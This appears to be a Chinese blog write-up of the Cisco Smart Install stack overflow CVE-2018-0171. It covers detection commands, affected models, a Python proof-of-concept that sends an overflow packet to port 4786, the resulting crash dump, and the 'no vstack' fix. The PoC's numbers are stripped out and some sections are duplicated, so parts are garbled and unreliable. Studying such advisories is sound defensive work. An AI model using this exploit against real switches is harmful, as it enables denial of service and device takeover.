0x01前言

在Smart Install Client代码中发现了基于堆栈的缓冲区溢出漏洞,该漏洞攻击者无需身份验证登录即可远程执行任意代码。cisco Smart Install是一种“即插即用”的配置和图像管理功能,可为新的交换机提供简易的部署。该功能允许用户将思科交换机放置到到任何位置,将其安装到网络中,然后启动,无需其他配置要求。因此它可以完全控制易受攻击的网络设备。Smart Install是一种即插即用的配置和图像管理的功能,为新型交换机提供良好的图形界面管理。它能使初始化配置过程自动化,并通过当前加载操作系统的镜像提供新的交换机。该功能还可在配置发生变化的时候提供热插热拔的实时备份。需要注意的是,该功能在默认情况下客户端上是启用了的。

0x02漏洞描述

思科 IOS 和 IOS-XE 系统 Smart Install Client 代码中存在一处缓冲区栈溢出漏洞(CVE-2018-0171)。攻击者可以远程向 TCP 4786 端口发送一个恶意数据包,利用该漏洞,触发目标设备的栈溢出漏洞造成设备拒绝服务(DoS)或在造成远程命令执行,攻击者可以远程控制受到漏洞影响的网络设备。据悉,思科交换器
TCP 4786 端口是默认开放的

0x03检查漏洞

1.如果您的思科网络设备开放了TCP 4786端口,则易受到攻击,为了找到这样的设备,只需通过nmap扫描目标网络。

nmap -p T:4786 192.168.1.0/24

2.要检查网络设备是否开放了Smart Install Client客户端功能,以下示例是在显示配置为Smart Install Clien的Cisco Catalyst交换机上的show vstack config命令输出:

  1. switch1# show vstack config
  2. Role: Client (SmartInstall enabled)
  3. .
  4. switch2# show vstack config
  5. Capability: Client
  6. Oper Mode: Enabled
  7. Role: Client

来自show vstack config命令输出的Role:ClientOper Mode:EnabledRole:Client(已启用SmartInstall)信息确认设备上已启用了该功能。

3.思科机子上执行命令判断,开放了4786端口即使用了SMI。

  1. switch>show tcp brief all
  2.  
  3. TCBLocal Address Foreign Address (state)
  4.  
  5. 0344B794*. *.* LISTEN
  6.  
  7. 0350A018*. *.* LISTEN
  8.  
  9. *. *.* LISTEN
  10.  
  11. 03292D9C*. *.* LISTEN
  12.  
  13. *. *.* LISTEN

Cisco IOS和iex软件版本检查:

  1. Router> show version
  2.  
  3. Cisco IOS Software, C2951 Software (C2951-UNIVERSALK9-M), Version 15.5()T1, RELEASE SOFTWARE (fc1)
  4.  
  5. Technical Support: http://www.cisco.com/techsupport
  6.  
  7. Copyright (c) - by Cisco Systems, Inc.
  8.  
  9. Compiled Mon -Jun- : by prod_rel_team
  10.  
  11. ios-xe-device# show version
  12.  
  13. Cisco IOS Software, Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version Denali 16.2., RELEASE SOFTWARE (fc1)
  14.  
  15. Technical Support: http://www.cisco.com/techsupport
  16.  
  17. Copyright (c) - by Cisco Systems, Inc.
  18.  
  19. Compiled Sun -Mar- : by mcpre

4.如果您不确定您的漏洞是否受到影响,可以使用Cisco的Cisco IOS Software Checker进行检测:
https://tools.cisco.com/security/center/softwarechecker.x

5.使用下面的脚本探测对应IP端口是否确实开放的是思科SMI协议

https://github.com/Cisco-Talos/smi_check/blob/master/smi_check.py

协议特征可以参见msf扒拉出来的

https://github.com/rapid7/metasploit-framework/commit/c67e407c9c5cd28d555e1c2614776e05b628749d

  1. # python smi_check.py -i targetip
  2.  
  3. [INFO] Sending TCP probe to targetip:
  4.  
  5. [INFO] Smart Install Client feature active on targetip:
  6.  
  7. [INFO] targetip is affected

0x04 影响范围

影响设备:
Catalyst 4500 Supervisor Engines
Cisco Catalyst 3850 Series Switches
Cisco Catalyst 2960 Series Switches

包含部分Smart Install Client的设备也可能受到影响:
Catalyst 4500 Supervisor Engines
Catalyst 3850 Series
Catalyst 3750 Series
Catalyst 3650 Series
Catalyst 3560 Series
Catalyst 2960 Series
Catalyst 2975 Series
IE 2000
IE 3000
IE 3010
IE 4000
IE 4010
IE 5000
SM-ES2 SKUs
SM-ES3 SKUs
NME-16ES-1G-P
SM-X-ES3 SKUs

0x05 漏洞验证

以下是此漏洞验证的PoC:

  1. # smi_ibc_init_discovery_BoF.py
  2.  
  3. import socket
  4.  
  5. import struct
  6.  
  7. from optparse import OptionParser
  8.  
  9. # Parse the target options
  10.  
  11. parser = OptionParser()
  12.  
  13. parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1") parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=) (options, args) = parser.parse_args()
  14.  
  15. def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'):
  16.  
  17. return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v
  18.  
  19. def send_packet(sock, packet):
  20.  
  21. sock.send(packet)
  22.  
  23. def receive(sock):
  24.  
  25. return sock.recv()
  26.  
  27. if __name__ == "__main__":
  28.  
  29. print "[*] Connecting to Smart Install Client ", options.target, "port", options.port
  30.  
  31. con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  32.  
  33. con.connect((options.target, options.port))
  34.  
  35. payload = 'BBBB' * shellcode = 'D' *
  36.  
  37. data = 'A' * + struct.pack('!I', len(payload) + len(shellcode) + ) + payload
  38.  
  39. tlv_1 = craft_tlv(0x00000001, data) tlv_2 = shellcode
  40.  
  41. pkt = hdr + tlv_1 + tlv_2
  42.  
  43. print "[*] Send a malicious packet"
  44.  
  45. send_packet(con, pkt)

要攻击交换机,则运行以下命令:

host$ ./smi_ibc_init_discovery_BoF.py-t 192.168.1.1

在交换机上应显示崩溃信息并重新启动:

  1. :: UTC Mon Mar : Unexpected exception to CPUvector , PC =
  2.  
  3. -Traceback=
  4.  
  5. Writing crashinfo to flash:/crashinfo_ext/crashinfo_ext_15
  6.  
  7. === Flushing messages (:: UTC Mon Mar ) === Buffered messages:
  8.  
  9. ...
  10.  
  11. Queued messages:
  12.  
  13. Cisco IOS Software, C2960 Software (C2960-LANBASEK9-M), Version 12.2()SE11, RELEASE SOFTWARE
  14.  
  15. (fc3)
  16.  
  17. Technical Support: http://www.cisco.com/techsupport
  18.  
  19. Copyright (c) - by Cisco Systems, Inc.
  20.  
  21. Compiled Wed -Aug- : by prod_rel_team
  22.  
  23. Instruction TLB Miss Exception (0x1200)!
  24.  
  25. SRR0 = 0x42424240 SRR1 = 0x00029230 SRR2 = 0x0152ACE4 SRR3 = 0x00029230
  26.  
  27. ESR = 0x00000000 DEAR = 0x00000000 TSR = 0x84000000 DBSR = 0x00000000
  28.  
  29. CPU Register Context:
  30.  
  31. Vector = 0x00001200 PC = 0x42424240 MSR = 0x00029230 CR = 0x33000053
  32.  
  33. LR = 0x42424242 CTR = 0x014D5268 XER = 0xC000006A
  34.  
  35. R0 = 0x42424242 R1 = 0x02B1B0B0 R2 = 0x00000000 R3 = 0x032D12B4
  36.  
  37. R4 = 0x000000B6 R5 = 0x0000001E R6 = 0xAA3BEC00 R7 = 0x00000014
  38.  
  39. R8 = 0x0000001E R9 = 0x00000000 R10 = 0x001BA800 R11 = 0xFFFFFFFF
  40.  
  41. R12 = 0x00000000 R13 = 0x00110000 R14 = 0x0131E1A8 R15 = 0x02B1B1A8
  42.  
  43. R16 = 0x02B1B128 R17 = 0x00000000 R18 = 0x00000000 R19 = 0x02B1B128
  44.  
  45. R20 = 0x02B1B128 R21 = 0x00000001 R22 = 0x02B1B128 R23 = 0x02B1B1A8
  46.  
  47. R24 = 0x00000001 R25 = 0x00000000 R26 = 0x42424242 R27 = 0x42424242
  48.  
  49. R28 = 0x42424242 R29 = 0x42424242 R30 = 0x42424242 R31 = 0x42424242
  50.  
  51. Stack trace:
  52.  
  53. PC = 0x42424240, SP = 0x02B1B0B0
  54.  
  55. Frame : SP = 0x42424242 PC = 0x42424242

0x06 漏洞修复

#conf t

Enter configuration commands, one per
line.  End with CNTL/Z.

NSJ-131-6-16-C2960_7(config)#no
vstack

NSJ-131-6-16-C2960_7(config)#exit

关键的就是这句 no vstack

再看,端口已经关掉了。

#show tcp brief all

TCB       Local
Address           Foreign Address   
    (state)

075A0088  *.443     
             *.*       
            LISTEN

0759F6C8  *.443     
             *.*       
            LISTEN

0759ED08  *.80     
              *.*       
            LISTEN

0759E348  *.80     
              *.*       
            LISTEN

0x06 漏洞危害

可能会导致攻击者在受影响的设备上导致缓冲区溢出,这可能会产生如下影响:

触发设备的重新加载

允许攻击者在设备上执行任意代码

在受影响的设备上引发无限循环重启,是设备崩溃

0x07 漏洞修复

#conf t

Enter configuration commands, one per line.  End with CNTL/Z.

NSJ-131-6-16-C2960_7(config)#no vstack

NSJ-131-6-16-C2960_7(config)#exit

关键的就是这句 no vstack

再看,端口已经关掉了。

#show tcp brief all

TCB       Local Address           Foreign Address        (state)

075A0088  *.443                   *.*                    LISTEN

0759F6C8  *.443                   *.*                    LISTEN

0759ED08  *.80                    *.*                    LISTEN

0759E348  *.80                    *.*                    LISTEN

0x08 参考文献

https://embedi.com/blog/cisco-smart-install-remote-code-execution/

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180328-smi2

https://www.anquanke.com/post/id/103122

https://mp.weixin.qq.com/s/cMYUuGFmox5PK89fO_eR8w

https://www.youtube.com/watch?v=CE7KNK6UJuk&feature=youtu.be&t=99

https://www.youtube.com/watch?v=TSg5EZVudNU&feature=youtu.be

Cisco Smart Install远程命令执行漏洞的更多相关文章

  1. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  2. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  3. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  4. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  5. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  6. Drupal 远程命令执行漏洞(CVE-2018-7600)

    名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...

  7. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

  8. Apache SSI 远程命令执行漏洞复现

    Apache SSI 远程命令执行漏洞复现 一.漏洞描述 当目标服务器开启了SSI与CGI支持,我们就可以上传shtml,利用<!--#exec cmd=”id” -->语法执行命令. 使 ...

  9. ThinkPHP 5.x远程命令执行漏洞复现

    ThinkPHP 5.x远程命令执行漏洞复现 一.漏洞描述 2018年12月10日,ThinkPHP官方发布了安全更新,其中修复了ThinkPHP5框架的一个高危漏洞: https://blog.th ...

随机推荐

  1. python4 - 字典

    字典 定义:字典是无序的,它不能通过偏移来存取,只能通过键来存取. 特点:内部没有顺序,通过键来读取内容,可嵌套,方便我们组织多种数据结构,并且可以原地修改里面的内容,属于可变类型. 创建字典.{}, ...

  2. python的pip升级问题

    近来由于pip升级为10.0.1了,导致使用pip命令报错,使用过很多方法,最终找到一种相对靠谱的方法,一下是步骤: 进入https://pypi.python.org/pypi/pip 下载pip- ...

  3. Unity Lighting - Light Types 灯光类型(八)

      Light Types 灯光类型 We have now covered some of the project settings which need to be considered befo ...

  4. v-on 事件修饰符

    事件修饰符:   .stop 阻止冒泡 .prevent 阻止默认事件 .capture 添加事件侦听器时使用事件捕获模式 .self 只当该事件在该元素本身时(不是子元素)触发时才回调 .once ...

  5. loadrunner socket协议问题归纳(6)

    首先让我们先看一下loadrunner- winsock 函数 一览表: lrs_accept_connection 接受侦听套接字连接 lrs_close_socket 关闭打开的套接字       ...

  6. JavaScript之函数柯里化

    什么是柯里化(currying)? 维基百科中的解释是:柯里化是把接受多个参数的函数变换成接受一个单一参数(最初函数的第一个参数)的函数,并且返回接受余下的参数而且返回结果的新函数的技术.意思就是当函 ...

  7. php命名空间学习笔记。

    为什么要用命名空间? 在PHP中,命名空间用来解决在编写类库或应用程序时创建可重用的代码如类或函数时碰到的两类问题: 用户编写的代码 与  PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲 ...

  8. 王者荣耀交流协会Beta发布文案美工展示博客

    logo: 我们的logo是蓝底白字,非常简洁大气的设计感,上面印有我们的软件名称,更好的直观的彰显了我们的主题.我们的软件就是要迎合使用者,给使用者更加方便快捷的工作体验,更好的衡量自己的时间分配. ...

  9. 第二次c艹作业

    1,c语言实现方法:按照电梯运行方式,改变被定义为全局变量的结构体的数值. c艹实现方法:用类来存放电梯的属性,整个过程都是对类操作. 两者不同:c语言是面向过程的,整个函数里都要对电梯的参数进行修改 ...

  10. C++进阶之_类型转换

    C++进阶之_类型转换 1.类型转换名称和语法 C风格的强制类型转换(Type Cast)很简单,不管什么类型的转换统统是: TYPE b = (TYPE)a C++风格的类型转换提供了4种类型转换操 ...